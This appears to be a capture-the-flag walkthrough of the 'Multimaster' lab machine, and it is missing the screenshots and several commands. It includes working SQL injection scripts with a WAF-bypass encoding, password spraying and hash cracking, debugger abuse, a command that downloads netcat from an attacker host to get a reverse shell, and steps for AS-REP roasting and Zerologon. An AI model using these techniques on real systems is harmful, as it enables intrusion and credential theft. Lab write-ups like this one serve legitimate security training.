Multimaster
Multimaster
Multimaster
Multimaster
16th September 2020 / Document No D20.100.87
Difficulty: Insane
Classification: Official
Synopsis
Multimaster is an insane difficulty Windows machine featuring a web application that is
vulnerable to SQL Injection. This vulnerability is leveraged to obtain the foothold on the server.
Examination the file system reveals that a vulnerable version of VS Code is installed, and VS Code
processes and found to be running on the server. By exploiting debug functionality, a shell as the
user cyork can be gained. A password is found in a DLL, which due to password reuse, results in
a shell as sbauer . This user is found to have GenericWrite permissions on the user jorden .
Abusing this privilege allows us to gain access to the server as this user. jorden is be member of
Server Operators group, whose privileges we exploit to get a SYSTEM shell.
Skills Required
Basic knowledge of Windows
Basic knowledge of Active Directory
OWASP Top 10
Skills Learned
SQL Injection
Password Cracking
VS Code Exploitation
Reverse Engineering
Server Operators Group Abuse
SeBackup Privilege Abuse
Zerologon Exploitation
Enumeration
Nmap
The scan reveals many ports open, including port 53 (DNS), 389 (LDAP) and 445 (SMB). This
reveals that the server is a domain controller. The domain is identified by Nmap as
MEGACORP.LOCAL .
IIS
Let's browse to port 80.
This looks like an employee portal. Let's click on the LOGIN button.
Populating the form and clicking the LOGIN button returns a prompt stating that the login
feature is currently undergoing maintenance.
The Gallery page is static and displays some images.
The Colleague Finder page has a search field. Clicking on the search icon with an empty field
returns results for employees, along with attributes for their name, job role and email address.
Let's capture this request in Burp Suite, and hit CTRL + R to send this to Repeater.
This reveals a POST request sent to the /api/getColleagues API endpoint, with name
parameter in JSON format. The response showing the five fields id , name , position , email
and src is also in JSON format.
Let's retrieve the employee names by sending a cURL request and using the jq processor to
convert the response into JSON.
The server throws a 403 Forbidden error message, which indicates that there could be possible
input filtering happening, either within the application or a Web Application Firewall.
To circumvent this, we can try other encoding schemes supported by JSON . Examination of the
JSON RFC reveals that default encoding is UTF-8 , but it also supports UTF-16 and UTF-32
encoding. Let's try injecting a quote in UTF-16 format.
This time no error is returned, so it's worth investigating this further. We can either use an online
converter or write a simple Python script to encode a given payload as UTF-16.
input=raw_input('> ').strip()
utf=[]
for i in input:
utf.append("\\u00"+hex(ord(i)).split('x')[1])
print ''.join([i for i in utf])
This is successful, which validates the SQL Injection vulnerability. Let's identify the number of
columns.
This returns null , which confirms that the table has five columns. Recalling the Nmap scan
results, it's clear that Microsoft SQL Server is in use. Let's enumerate the current database
version and name.
1. Colleagues
2. Logins
The Logins table looks interesting. Let's enumerate columns in the Logins table.
1. username
2. password
The passwords hashes are 96 bytes in length. We can use PowerShell and Hashcat to search for
all hashes that are 96 in length, in order to identify the mode we should use.
There are total 4 unique hashes in the table. We can save them to a file and subject them to an
offline brute force attack using Hashcat. The hashcat modes for these are 10800 , 17500 and
17900 . Let's try with each mode.
Using the Keccak-384 mode, three of the hashes were successfully cracked. Previous
enumeration provided a list of email addresses. Usernames can sometimes be the same as the
email address prefixes. Let's compile a new list of usernames from this list.
We can now attempt to spray the three passwords and list of usernames against the externally
exposed SMB and WinRM services using crackmapexec . CrackMapExec can be installed with the
following commands:
SQL Server has a function SUSER_SID() , which returns a Security Identification Number (SID) for
a given user. Let's use this to identify the SID of the primary domain administrator.
The output returned by the query is in VARBINARY format and the UNION statement is converting
it to a string that is not readable. Instead, we can exfiltrate the SID one by one as integers using
the first column id . Let's identify the total length of the SID using the DATALENGTH() function.
The query returns 1. This means that the first two digits are 01 , which is expected. Let's
automate this to identify the SID of the administrator user.
import json
import requests
from time import sleep
url = 'http://10.10.10.179/api/getColleagues'
def unicode(str):
utf=[]
for i in str:
utf.append("\\u00"+hex(ord(i)).split("x")[1])
return ''.join([i for i in utf])
sid=''
for i in range(1,29):
payload="test' UNION SELECT
SUBSTRING(SUSER_SID('MegaCorp\Administrator'),{},1),2,3,4,5-- -".format(i)
r = requests.post(url,data='{"name":"'+ unicode(payload) +
'"})',headers={'Content-Type': 'Application/json'})
id=json.loads(r.text)[0]["id"]
if len(str(id))==1:
id='0'+str(id)
else:
id=hex(id).split('x')[1]
sleep(2)
sid+=id
print "0x%s"%(sid)
The above script increments the substring position to enumerate SID values one by one. It seems
that the server blocks access after several attempts. We can use a sleep of two seconds to avoid
detection by the WAF.
We can now use the SUSER_SNAME() function to perform a reverse lookup of the obtained SID.
For example, the following query should return MEGACORP\Administrator
The obtained Hex SID value is 56 bytes in length. The first 48 bytes are domain SID. The domain
SID is the unique identifier for the domain and the base of every full RID. After we have the SID
we can start constructing our own RIDs in order to sequentially enumerate domain users.
RID : 0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
SID : 0x0105000000000005150000001c00d1bcd181f1492bdfc236
In Active Directory, any group or user that Windows doesn't create has a RID of 1000 or
greater. If we examine the last 8 bytes of RID, we can see that the value f401 is padded by
0s. If we flip this value and convert it to an int we get the value of 500 , which is the RID for
the default Administrator user account.
We can now automate this process to bruteforce RIDs starting from 1000 and identify domain
users.
import json
import requests
from time import sleep
url = 'http://10.10.10.179/api/getColleagues'
def unicode(str):
utf=[]
for i in str:
utf.append("\\u00"+hex(ord(i)).split("x")[1])
return ''.join([i for i in utf])
sid=''
for i in range(1100,1200):
i=hex(i)[2:].upper()
if len(i)<4:
i='0'+i
t=bytearray.fromhex(i)
t.reverse()
t=''.join(format(x,'02x') for x in t).upper()+'0'*4
sid='0x0105000000000005150000001c00d1bcd181f1492bdfc236{}'.format(t)
payload="test' UNION SELECT 1,SUSER_SNAME({}),3,4,5-- -".format(sid)
r = requests.post(url,data='{"name":"'+ unicode(payload) + '"}',headers=
{'Content-Type': 'Application/json'})
user=json.loads(r.text)[0]["name"]
if user:
print user
sleep(2)
WinRM
The credential tushikikatomo / finance1 is found to be valid. we can try to login using WinRM
(port 5985). Windows Remote Management (WinRM), is a Windows-native built-in remote
management protocol and allows administrators and power users to manage systems remotely.
We can use Evil-WinRM to connect to the remote system.
We don't have access to the C:\inetpub folder. This user also seems to be unprivileged. Let's
continue host enumeration.
Lateral Movement (cyork)
Inspection of the Program Files folder reveals that VSCode is installed.
The output confirms that VSCode processes are running on the server. Let's check the version.
This specific version is vulnerable to a command execution vulnerability, as explained in this
blogpost. The blogpost includes an advisory by Tavis Ormandy, highlighting that the VSCode
remote debugger is enabled by default. By adding Tavis as a search term, we come across his
cefdebug repo. This enables interaction with and exploitation of electron, CEF, and chromium
debuggers. We can obtain the compiled binary here.
After downloading the release and unzipping, the binary is transferred to the server using the
upload command in Evil-WinRM.
wget https://github.com/taviso/cefdebug/releases/download/v0.2/cefdebug.zip
unzip cefdebug.zip
This identified that two CEF debuggers are present. Let's validate the vulnerability (or feature
abuse) by executing sample code.
Service interaction is confirmed. Next, we can look to obtain a reverse shell. Let's stand up a web
server on port 80 and issue the commands below to download a Netcat binary to the box.
python3 -m http.server 80
process.mainModule.require('child_process').exec('powershell IWR -Uri
http://10.10.14.10/nc.exe -Outfile c:\\windows\\temp\\test.exe')
We can now stand up a listener on port 1234 and issue the command below to get a reverse
shell.
Lateral Movement (sbauer)
Checking the user information, we see that cyork is a member of the Developers group, which
has access to the C:\inetpub folder.
The dll is copied to the mapped drive, and the file command reveals that this is a .Net
assembly.
Using the .NET assembly editor and debugger dnSpy, we can view the source code directly.
Inspection of MultimasterAPI.Controllers > ColleagueController reveals a database
connection string containing the password D3veL0pM3nT! .
Passwords in an organization are often of a similar format or even reused, and it is worth
checking for this. Before attempting the password spray, let's check the domain password policy.
Account lockouts are not enforced, so there is no risk password spraying. Let's spray against the
WinRM service using the obtained password and list of usernames from earlier.
This reveals that the password has been reused. We can now login to WinRM as sbauer /
D3veL0pM3nT! .
Privilege Escalation
BloodHound
We can use Bloodhound to enumerate and visualise the Active Directory domain, and identify
possible attack chains that will allow us to elevate our domain privileges. The bloodhound-python
ingestor can be used to remotely collect data from Active Directory. Then, we can run
bloodhound to visualise any available attack paths.
First, start the neo4j server, login the the URL provided, and set the password.
neo4j console
Then type bloodhound to access the BloodHound UI, and log in with the neo4j credentials. When
bloodhound-python completes, compress the files into a zip and upload it.
BloodHound data consists of Nodes that represent principals and other objects in Active
Directory, and Edges, which are links representing some form of object-to-object control or
privileges. On the Search tab, input [email protected] and mark this user as owned. Now
clicking on the user icon > Reachable High Value Targets shows that this user has
GenericWrite permission on [email protected] . This user is considered high-value,
owning to their membership of the highly privileged Server Operators group.
Generic Write access grants the ability to write to any non-protected attribute on the target
object, including members for a group, and serviceprincipalnames for a user. We can abuse
this permission to disable Kerberos pre-authentication for the Jorden user.
Assuming that Jorden has weak password set, let's disable Kerberos pre-authentication for
them using the Get-ADUser AD Module cmdlet.
10.10.10.179 MEGACORP.local
Using Impacket's GetNPUser, we can attempt an ASREPRoasting attack in order to extract a hash
from user accounts that do not require pre-authentication.
We choose Kerberos 5 AS-REP etype 23 , i.e. mode 18200 . Next, run Hashcat, specifying this
mode and the rockyou.txt wordlist.
We issue the commands above and verify that the binary path was successfully changed. Let's
stop and start the service.
Now that the password for the primary domain administrator has been changed, we can use
Impacket's psexec.py to gain a shell as SYSTEM.
Alternate Method 1 (SeBackupPrivilege)
Members of the Server Operators group are also bestowed the powerful SeBackupPrivilege
that can be used to read files.
On Windows, if a user has the Back up files and directories right, they are assigned
the SeBackupPrivilege privilege. This privilege is disabled by UAC in a default installation, but
when enabled, it allows the user to access files and directories that they don't own or have
permission to access.
We can use the built-in robocopy utility with the /b switch to copy the Administrator desktop
folder.
robocopy /B C:\users\administrator\desktop .
And we can cat the flag
Alternate Method 2 (CVE-2020-1472)
CVE-2020-1472 is an elevation of privilege vulnerability that exploits an insecure use of the AES-
CFB8 cryptography, allowing an attacker to authenticate anonymously to a Netlogon server
service (the Netlogon server is hosted by Domain Controllers). Once authenticated, we can send
Netlogon calls as any computer. Calls that receive data are encrypted with a session key that we
don't have access to, but we can use all the set calls like NetrServerPasswordSet2 . The
NetrServerPasswordSet2 call allows us to set the domain controller machine account password
to a known value, in whose context we can DCSync the domain to retrieve the domain admin
hashes. As the DC machine account password is important for mechanisms such as trust
relationships in order to encrypt communication, this exploit will most likely break things in
production if there is no immediate restoration.
This is successful. The exploit will set the Computer Account password to an empty NT hash
31d6cfe0d16ae931b73c59d7e0c089c0 . We can now use Impacket's secretsdump.py to perform a
DC Sync attack. DCSync works by using the Directory Replication Service Remote Protocol that
allows replication of secret domain data. This secret domain data includes the password
database. Domain Controllers must have this right for replication purposes so that all DCs in the
domain have the same data.
We can now perform a Pass The Hash attack using the obtained hashes to obtain a SYSTEM shell.